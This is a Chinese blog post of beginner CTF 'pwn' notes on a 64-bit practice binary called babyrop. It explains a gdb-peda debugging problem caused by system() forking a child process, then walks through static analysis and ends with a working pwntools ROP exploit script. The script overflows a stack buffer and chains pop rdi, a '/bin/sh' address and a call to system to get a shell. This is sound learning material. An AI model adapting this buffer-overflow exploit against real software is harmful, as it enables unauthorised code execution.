menu
ciaoℒy
从一道简单的64位pwn练习题记录一些问题

access_time
brush 397个字
whatshot 235 ℃
百度收录:百度已收录

附件下载

tl;dr

这是一篇pwn入门的笔记, 主要记录一下gdb-peda在调试多进程应用时不能正确中断读取stdin的问题, 具体表象是运行时会打印日志[Thread debugging using libthread_db enabled]和[Inferior 2 (process xxx) exited normally], 且不能在程序读取stdin时中断等待输入. 解决方法是设置变量使gdb跟踪父进程即可: set follow-fork-mode parent


1. 静态分析

Ghidra给出的伪代码如下:

undefined8 main(void) {
  undefined local_18 [16];

  system("echo -n \"What\'s your name? \"");
  __isoc99_scanf(&DAT_004006c5,local_18);
  printf("Welcome to the Pwn World, %s!\n",local_18);
  return 0;
}

checksec结果如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

整道题还是挺简单的, 但是一个坑点出在system("echo -n \"What\'s your name? \"");上. 一般而言, 程序输出是直接调用stdio的函数向标准输出中打印, 但是这道题可能是为了提供一个call system, 所以用了这么一种打印方法?

到这里还没有发现什么问题, 直到使用gdb动态调试的时候遇到了坑.

2. GDB调试

当使用gdb调试的时候, 调试器并不能在scanf函数处自动断掉, 日志如下所示:

gdb-peda$ r
Starting program: /home/kali/Desktop/babyrop 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dc7740 (LWP 3677) vfork to child process 3680]
[New inferior 2 (process 3680)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 3677 after child exec]
[Inferior 1 (process 3677) detached]
process 3680 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What's your name? [Inferior 2 (process 3680) exited normally]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

Warning: not running

但是使用无插件的gdb就不会出现该问题. 原因是system函数开启了新的进程执行echo命令, 而装了插件的gdb会自动跟踪子进程从而导致从父进程中跑出, 因而不能自动断在scanf处.

解决方法就是在执行r命令前设置变量使peda追踪父进程而不是子进程: set follow-fork-mode parent

3. pwn

64位程序的pwn思路, 概括来说就是: 找到pop rdi, ret准备rop/ 控制rip/ 提供"/bin/sh"的地址/ 提供call system的地址.

这里有一个点需要注意, 我们在布置内存的时候, 是要准备call system指令所在的地址, 而不是system函数的地址, 更不是JMP qword ptr [-><EXTERNAL>::system ]的地址.

编写exp如下:

from pwn import *

#r = remote("172.19.2.33", 1080)
r = gdb.debug("./babyrop")
offset = 24
poprdi = 0x0000000000400683
syscall = 0x004005e3
binbash = 0x601048
memory = b'a' * offset + p64(poprdi) + p64(binbash) + p64(syscall)
r.recvuntil(b"What's your name?");

r.sendline(memory);
r.interactive()

#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 09 月 02 日


create 添加新评论


account_circle
email
language
textsms





关于 DreamCat

主题名称:DreamCat | 版本:2.10.230801_LTS

主题开发:HanFengA7 | TeddyNight | Dev-Leo | CornWorld | WhiteBearcn | DFFZMXJ

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe

加我的QQ
加我的微博
加我的支付宝
加我的微信